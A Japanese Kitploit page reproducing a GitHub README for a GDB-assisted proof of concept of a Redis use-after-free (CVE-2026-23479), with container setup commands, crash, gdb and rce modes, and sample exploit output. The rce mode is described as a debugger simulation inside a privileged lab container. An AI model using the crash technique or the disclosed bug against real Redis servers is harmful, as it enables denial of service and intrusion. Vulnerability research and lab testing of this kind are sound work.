Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-23479-Redis-UAF-Proof-of-Concept — GDB支援によるエクスプロイトを用いた概念実証(教育・ラボ用途のみ) | Kitploit
ツール/GitHubGitHub/rizlmaulanaa/cve-2026-23479-redis-uaf-proof-of-concept
脆弱性分析エクスプロイトデバッガ学習と教育データベースセキュリティバイナリエクスプロイトラボと実践
GitHubrizlmaulanaa/cve-2026-23479-redis-uaf-proof-of-concept

CVE-2026-23479-Redis-UAF-Proof-of-Concept

GDB支援によるエクスプロイトを用いた概念実証(教育・ラボ用途のみ)

リポジトリを見る
81ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

🔥 CVE-2026-23479 – Redis UAF 概念実証(PoC)

License Python Docker CVE PoC

Redis の unblockClientOnKey() における Use‑After‑Free によるリモートコード実行
GDB 支援による悪用の概念実証(教育目的・ラボ利用のみ)


📖 概要

CVE-2026-23479 は、Redis 7.2.0 から 8.6.2 に存在する深刻な Use‑After‑Free(UAF、解放後使用) 脆弱性です。
このバグは unblockClientOnKey() にあり、この関数は processCommandAndResetClient() を呼び出します。 その呼び出し中に(例: eviction により)クライアントが解放された場合、呼び出し元はダングリングポインタに対して処理を続行するため、 が発生します。 解放後にヒープを操作できる攻撃者は、を達成できる可能性があります。

戻り値を確認せずに

UAF

任意のコード実行

このリポジトリは、以下を実現する GDB 支援型 PoC を提供します:

  • 正確な脆弱性コードパスをトリガーします
  • 意図的にクラッシュ(freeClient() の呼び出し)を発生させて UAF を証明します
  • 同じポイントに system() 呼び出しを注入することで任意のコマンド実行を実証します

⚠️ 重要: これは武器化された exploit ではありません。特権 Docker コンテナ内の GDB を使用して、実際の攻撃者が UAF の悪用に成功した後に達成し得ることをシミュレートします。
使用は自分のラボ、または明示的なテスト許可を得たシステムのみに限定してください。


✨ 特徴

  • 🧪 4 つの動作モード – crash、gdb、rce、full
  • 🐳 Docker ベース – ホストに脆弱な Redis をインストールする必要はありません
  • 🔍 自動バージョン検出 – ターゲットが影響を受ける範囲内かどうかを確認します
  • 🧹 自己クリーンアップ – 各実行前に古い GDB セッションを強制終了します
  • 🎯 柔軟なコンテナ名 – --container で任意のコンテナを指定できます
  • 📦 単一の Python ファイル – 標準ライブラリ以外の依存関係はゼロ

🧠 動作の仕組み

  1. 被害クライアントをブロック – XREAD BLOCK コマンドで、クライアントをストリームデータ待ちの状態にします。
  2. GDB をアタッチ – GDB はコンテナ内の Redis プロセス(pid 1)にアタッチします。
  3. processCommandAndResetClient にブレークポイントを設定 – これは、ブロックされたクライアントが再処理されるときに呼び出される関数です。
  4. アンブロックをトリガー – 同じストリームへの XADD が被害クライアントを起床させます。
  5. ブレークポイント停止時:
    • gdb モード: freeClient($rdi) を呼び出し → 意図的に SIGSEGV を発生させ → UAF を証明します。
    • rce モード: system("your command") を呼び出し → Redis ユーザー(デフォルトでは root)として任意のシェルコマンドを実行します。
  6. 検証 – スクリプトは、期待される証明ファイルが存在するか(RCE)、Redis がクラッシュしたか(UAF)を確認します。

ブレークポイントは、ブロックされたクライアントがアンブロックされるたびに発火し、UAF を含む同じコードパスがコード実行も可能にすることを示しています。


📋 影響を受けるバージョン

ブランチ影響を受ける範囲
7.27.2.0 – 7.2.13
7.47.4.0 – 7.4.8
8.28.2.0 – 8.2.5
8.48.4.0 – 8.4.2
8.68.6.0 – 8.6.2

スクリプトは Redis のバージョンを自動的に解析し、脆弱かどうかを報告します。


🐳 前提条件

  • Docker がインストールされ、実行中であること
  • Python 3.8+(標準ライブラリのみ使用)
  • apt を使用する Redis 8.6.2 Docker イメージ(例: 公式の redis:8.6.2)
  • コンテナは --privileged 付きで作成されている必要があります(ptrace に必要)

⚙️ セットアップ

1. リポジトリをクローンする

root@kitploit:~
git clone https://github.com/YOUR_USERNAME/CVE-2026-23479-PoC.git
cd CVE-2026-23479-PoC

2. 脆弱な Redis コンテナを起動する

root@kitploit:~
docker run -d --name redis-vuln-local --privileged -p 6379:6379 \
  redis:8.6.2 redis-server --protected-mode no

3. コンテナ内に GDB をインストールする

root@kitploit:~
docker exec -u root redis-vuln-local bash -c "
  apt-get update && apt-get install -y gdb binutils procps
"

4. 確認

root@kitploit:~
docker exec redis-vuln-local gdb --version
redis-cli -h 127.0.0.1 -p 6379 ping   # should return PONG

🚀 使用方法

root@kitploit:~
python3 redisexp.py <target> -p <port> -m <mode> --container <name> [--cmd "command"]

モード

モード説明
crashメモリ負荷によって UAF のトリガーを試みます(GDB 不要)。Redis はクラッシュする場合がありますが、保証はされません。
gdbGDB をアタッチし、ブレークポイントで freeClient() を呼び出します → SIGSEGV を強制します(UAF を証明)。
rceGDB をアタッチし、ブレークポイントで system(cmd) を呼び出します → コンテナ内でシェルコマンドを実行します。
full最初に crash を実行し、Redis がクラッシュしない場合は gdb にフォールバックします。

オプション

引数デフォルト説明
target(必須)Redis サーバーの IP アドレス
-p, --port6379Redis のポート
-m, --modefullcrash、gdb、rce、full のいずれか
--containerenv-redis-vuln-1Docker コンテナ名
--cmdid > /tmp/pwned_by_cverce モードで実行するコマンド

📚 ステップバイステップの例

注: すべてのコマンドはホストマシンから実行します。Docker コンテナの内部ではありません。

1. GDB で UAF を証明する

root@kitploit:~
python3 redisexp.py 127.0.0.1 -p 6379 -m gdb --container redis-vuln-local

期待される出力(抜粋)

root@kitploit:~
[+] Victim blocked on XREAD
[+] GDB script deployed
[*] Triggering unblock via XADD...
[+] SIGSEGV in processCommand after freeClient()
[+] This confirms the UAF code path in unblockClientOnKey()

Redis はセグメンテーションフォールト後にクラッシュします。

コンテナを再起動します:

root@kitploit:~
docker start redis-vuln-local

2. リモートコード実行(RCE)を達成する

クリーンな状態にするため Redis を再起動します:

root@kitploit:~
docker restart redis-vuln-local

exploit を実行します:

root@kitploit:~
python3 redisexp.py 127.0.0.1 -p 6379 -m rce \
  --cmd "touch /tmp/pwned" \
  --container redis-vuln-local

証明ファイルを確認します:

root@kitploit:~
docker exec redis-vuln-local ls -l /tmp/pwned

成功した場合、ファイルが存在し、以下が証明されます:

root@kitploit:~
system("touch /tmp/pwned");

このコマンドが Redis コンテナ内で実行されたことです。


3. GDB なしで UAF をトリガーする(メモリ負荷)

root@kitploit:~
python3 redisexp.py 127.0.0.1 -p 6379 -m crash --container redis-vuln-local

Redis が予期せず終了した場合(コンテナが実行されなくなった場合)、UAF がトリガーされた可能性が高いです。

次のコマンドで再起動します:

root@kitploit:~
docker start redis-vuln-local

4. フルテストを実行する

root@kitploit:~
python3 redisexp.py 127.0.0.1 -p 6379 -m full --container redis-vuln-local

このモードは:

  1. メモリ負荷によるクラッシュを試みます。
  2. Redis が生存している場合は、GDB 支援方式にフォールバックします。

📸 サンプル出力(RCE モード)

root@kitploit:~
============================================================
  CVE-2026-23479 Redis UAF Exploit PoC
============================================================
[*] Target: 127.0.0.1:6379
[*] Version: 8.6.2
[+] VULNERABLE

[*] Method: RCE via UAF code path injection
    Exploits CVE-2026-23479 UAF in unblockClientOnKey()
    Breakpoint on processCommandAndResetClient -> system()
    Command: touch /tmp/pwned

[+] Victim blocked on XREAD
Successfully copied 2.05kB to redis-vuln-local:/tmp/cve_rce.gdb
[+] GDB RCE script deployed
[+] GDB attached, breakpoint active
[*] Triggering unblock via XADD...
[*] Checking for RCE evidence in /tmp/pwned...
[+] RCE CONFIRMED! Proof file /tmp/pwned created.
[+] Redis alive after exploit

============================================================
  Results
============================================================
  Target:     127.0.0.1:6379
  Version:    8.6.2
  Vulnerable: YES
  RCE:        CONFIRMED (arbitrary command execution)
============================================================

🔧 元のスクリプトからの変更点

元の PoC は env-redis-vuln-1 という名前のコンテナにハードコードされており、新しい Python バージョンで実行すると複数の問題が発生しました。

更新版では以下の改善が導入されています:

問題点修正内容
コンテナ名がハードコードされていた--container 引数を追加し、すべての関数に伝播させました。
GDB スクリプトの commands ブロック内に file コマンドが配置されていたfile /usr/local/bin/redis-server を attach の前に移動し、GDB が正しくシンボルを読み込めるようにしました。
subprocess.run() で capture_output=True と stderr=... を同時に使用していたstdout=subprocess.DEVNULL と stderr=subprocess.DEVNULL に置き換えました。
古い GDB プロセスが ptrace: Operation not permitted を引き起こしていたtrigger_uaf_gdb() と trigger_rce() の両方で、GDB 起動前に pkill -9 gdb を追加しました。
GDB がサイレントに失敗してもフィードバックがなかったGDB 出力のデバッグログを追加し、証明ファイルの検出を改善しました。

🧹 クリーンアップ

root@kitploit:~
docker stop redis-vuln-local
docker rm redis-vuln-local

⚠️ 免責事項

このツールは教育目的、許可を得たセキュリティ研究、および自分が所有する、または明示的なテスト許可を得たシステムのテストのみを意図しています。

作者は、不正または悪意のある使用を容認または推奨しません。

本番環境や第三者システムをテストする前に、必ず適切な許可を取得してください。


📚 参考情報

  • CVE-2026-23479 – NVD 詳細
  • Redis セキュリティ
  • Redis GitHub リポジトリ

セキュリティコミュニティのために ❤️ を込めて作られました。

倫理を守り、安全を保ちましょう。

ツールをダウンロード